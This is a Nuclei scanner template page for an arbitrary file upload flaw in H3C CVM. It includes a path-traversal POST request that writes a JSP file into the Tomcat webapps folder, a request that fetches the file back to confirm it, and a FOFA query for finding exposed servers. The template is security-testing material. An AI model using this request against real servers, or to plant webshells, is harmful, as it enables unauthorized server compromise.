H3C CVM - Arbitrary File Upload

ID: h3c-cvm-arbitrary-file-upload

Severity: critical

Author: SleepingBag945

Tags: h3c,lfi,instrusive,file-upload,intrusive

Description

An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.

YAML Source

id: h3c-cvm-arbitrary-file-upload

info:
  name: H3C CVM - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/h3c-cvm-fileupload.yaml
    - https://github.com/tr0uble-mAker/POC-bomber/blob/main/pocs/redteam/h3c_cvm_fileupload_2022.py
  metadata:
    verified: true
    max-request: 2
    fofa-query: server="H3C-CVM"
  tags: h3c,lfi,instrusive,file-upload,intrusive
variables:
  filename: "{{rand_base(5)}}"
  payload: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{filename}}.jsp&name=222" HTTP/1.1
        Host: {{Hostname}}
        Content-range: bytes 0-10/20
        Accept-Encoding: gzip, deflate

        {{payload}}
      - |
        GET /cas/js/lib/buttons/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{payload}}"

      - type: word
        part: header
        words:
          - "Content-Type: text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e23363bd12f3ee6cdfdb772b1e847b368abb005a84a528c24cfe07ed8e4920f802210095a214a28a7c3cc34784e0f6d3a617745673d9985afbbbe6eb83c939c39ba573:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/h3c-cvm-arbitrary-file-upload.yaml"

View on Github